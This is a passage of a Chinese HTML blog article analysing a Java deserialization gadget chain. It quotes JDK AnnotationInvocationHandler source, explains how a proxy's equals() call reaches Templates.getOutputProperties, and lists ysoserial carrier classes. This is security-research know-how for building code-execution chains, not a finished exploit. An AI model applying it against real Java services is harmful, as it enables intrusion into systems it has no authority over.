rgb(248, 245, 236);">AnnotationInvocationHandler.invoke</code></span></span></p><p cid="n347" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">那么这个方法为何能够触发呢？继续翻源码！</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"> <span class="code-snippet__keyword">public</span> <span class="code-snippet__built_in">Object</span> invoke(<span class="code-snippet__built_in">Object</span> proxy, Method method, <span class="code-snippet__built_in">Object</span>[] args) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__built_in">String</span> member = method.getName();</span></code><code><span class="code-snippet_outer">        Class&lt;?&gt;[] paramTypes = method.getParameterTypes();</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__comment">// Handle Object and Annotation methods</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (member.equals(<span class="code-snippet__string">&#34;equals&#34;</span>) &amp;&amp; paramTypes.length == <span class="code-snippet__number">1</span> &amp;&amp;</span></code><code><span class="code-snippet_outer">            paramTypes[<span class="code-snippet__number">0</span>] == <span class="code-snippet__built_in">Object</span>.class)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> equalsImpl(args[<span class="code-snippet__number">0</span>]);</span></code><code><span class="code-snippet_outer">        ...</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><br/></span></span></span></span><span md-inline="plain" style="box-sizing: border-box;">可以看到当调用方法为 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">equals</code><span md-inline="plain" style="box-sizing: border-box;">并满足相关条件时，会继续调用内部方法</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">equalsImpl()</code><span md-inline="plain" style="box-sizing: border-box;">，跟进</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">equalsImpl()</code></span></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span class="code-snippet_outer"> <span class="code-snippet__keyword">private</span> <span class="code-snippet__built_in">Boolean</span> equalsImpl(Object o) {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (o == <span class="code-snippet__keyword">this</span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (!type.isInstance(o))</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">for</span> (Method memberMethod : getMemberMethods()) {</span></code><code><span class="code-snippet_outer">            String member = memberMethod.getName();</span></code><code><span class="code-snippet_outer">            Object ourValue = memberValues.<span class="code-snippet__keyword">get</span>(member);</span></code><code><span class="code-snippet_outer">            Object hisValue = <span class="code-snippet__literal">null</span>;</span></code><code><span class="code-snippet_outer">            AnnotationInvocationHandler hisHandler = asOneOfUs(o);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (hisHandler != <span class="code-snippet__literal">null</span>) {</span></code><code><span class="code-snippet_outer">                hisValue = hisHandler.memberValues.<span class="code-snippet__keyword">get</span>(member);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                    hisValue = memberMethod.invoke(o);</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (InvocationTargetException e) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (IllegalAccessException e) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> new AssertionError(e);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (!memberValueEquals(ourValue, hisValue))</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">true</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">equalsImpl()</code><span md-inline="plain" style="box-sizing: border-box;">方法里，会首先判断传入的 Object 对象是否为 type 对象的实例，然后调用 type class 的所有方法，再依次调用。</span></span></p><p><span md-inline="plain" style="box-sizing: border-box;">这样分析下来就清楚了，只要我们在实例化</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">AnnotationInvocationHandler</code><span md-inline="plain" style="box-sizing: border-box;">时传入</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Templates.class</code><span md-inline="plain" style="box-sizing: border-box;">，然后令</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">equals()</code><span md-inline="plain" style="box-sizing: border-box;">的参数为 type 的实现类就可以实现</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">getOutputProperties</code><span md-inline="plain" style="box-sizing: border-box;">方法的触发。</span></span></span></span></span></p><p cid="n353" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">到这里我们的问题又来了。</span></p><p cid="n354" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">接下来的后续链又如何寻找呢？</span></p><p cid="n355" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">其实在这个类的开始，有一段话如下：</span></p><p cid="n356" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">InvocationHandler for dynamic proxy implementation of Annotation.</code></span></p><p cid="n357" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">InvocationHandler 用于 Annotation 的动态代理实现。</code></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.324" data-s="300,640" style="" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=e747ff9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmrMNWEsAho9reubiaSov559DBBC4LoHCZBARZFfvZh1pWHoe4IfdEy6GS86hCG62uWQmdsPeRFXLCw%2F640%3Fwx_fmt%3Dpng"/></p><p><span md-inline="plain" style="box-sizing: border-box;">那么根据前面动态代理相关的知识我们知道，</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;padding: 0.1em;color: rgb(220, 53, 69);"><span md-inline="plain" style="box-sizing: border-box;">当为某个类或接口指定</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">InvocationHandler</code><span md-inline="plain" style="box-sizing: border-box;">对象时，在调用该类或接口方法时，就会去调用指定</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">handler</code><span md-inline="plain" style="box-sizing: border-box;">的</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">invoke()</code><span md-inline="plain" style="box-sizing: border-box;">方法</span></span></span></span></strong><span md-inline="plain" style="box-sizing: border-box;">。因此，当我们使用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">AnnotationInvocationHandler</code><span md-inline="plain" style="box-sizing: border-box;">创建</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">proxy object</code><span md-inline="plain" style="box-sizing: border-box;">，那么调用的所有方法都会变成对</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">invoke</code><span md-inline="plain" style="box-sizing: border-box;">方法的调用。</span></span></span></span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">也就是说，我们需要使用 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">AnnotationInvocationHandler</code><span md-inline="plain" style="box-sizing: border-box;"> 创建 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Proxy Object</code><span md-inline="plain" style="box-sizing: border-box;"> 并让其代理 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Templates</code><span md-inline="plain" style="box-sizing: border-box;"> 接口，然后再调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">proxy object</code><span md-inline="plain" style="box-sizing: border-box;">的 </span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">equals</code><span md-inline="plain" style="box-sizing: border-box;">方法，将</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Templates</code><span md-inline="plain" style="box-sizing: border-box;">当成参数传入就完成了前部分链的组装。</span></span></span></span></span></span></span></p><p><br/></p><p><span md-inline="plain" style="box-sizing: border-box;">现在，我们的目标实际上就变成了如何调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">Proxy.equals(EvilTemplates.class)</code><span md-inline="plain" style="box-sizing: border-box;">。</span></span></p><p cid="n362" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">现在让我们总结一下能寻找到满足条件场景的条件：</span></p><content style="box-sizing: border-box;overflow: auto;height: auto;width: inherit;bottom: 0px;top: 0px;left: var(--sidebar-width);right: 0px;transition-duration: 0.4s;"><ul class="list-paddingleft-2"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n365" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">要能够调用 proxy 的 equals 方法（这是我们刚才分析的）</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n367" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">要有反序列化接口——要能调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">readObject()</code><span md-inline="plain" style="box-sizing: border-box;">方法（这样才可以将我们的序列化数据传进去开始反序列化）</span></span></p></li></ul></content><ul class="list-paddingleft-2" cid="n363" mdtype="list" data-mark="-" style="margin-top: 0.5rem;margin-bottom: 0.5rem;padding-left: 25px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: Vollkorn, Palatino, Times;text-align: start;white-space: normal;text-size-adjust: auto;background-color: rgb(255, 255, 255);"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n365" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="plain" style="box-sizing: border-box;">要能够调用 proxy 的 equals 方法（这是我们刚才分析的）</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p><span md-inline="plain" style="box-sizing: border-box;">要有反序列化接口——要能调用</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">readObject()</code><span md-inline="plain" style="box-sizing: border-box;">方法（这样才可以将我们的序列化数据传进去开始反序列化</span></span>)</p></li></ul><p><span md-inline="plain" style="box-sizing: border-box;">不向下说，我们先来看看</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">ysoserial</code><span md-inline="plain" style="box-sizing: border-box;">中的反序列化载体有哪些：</span></span></p><ul class="list-paddingleft-2"><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n371" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">AnnotationInvocationHandler</code></span><span md-inline="plain" style="box-sizing: border-box;"> （CC1、CC3、 Groovy1）</span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n373" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">PriorityQueue</code><span md-inline="plain" style="box-sizing: border-box;">  （CC2、CC4）</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n375" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">BadAttributeValueExpException</code><span md-inline="plain" style="box-sizing: border-box;">  （CC5、 MozillaRhino1 ）</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n377" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">HashSet</code><span md-inline="plain" style="box-sizing: border-box;">  （CC6）</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n379" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">HashMap</code><span md-inline="plain" style="box-sizing: border-box;"> （ Hibernate1 、 Hibernate2、 JSON1 、 Myfaces1 、 Myfaces2 、 ROME ）</span></span></p></li><li style="box-sizing: border-box;color: rgb(219, 77, 82);font-weight: bold;"><p cid="n381" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;word-spacing: 0.05rem;color: rgb(51, 51, 51);font-weight: normal;padding-left: 0.25rem;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 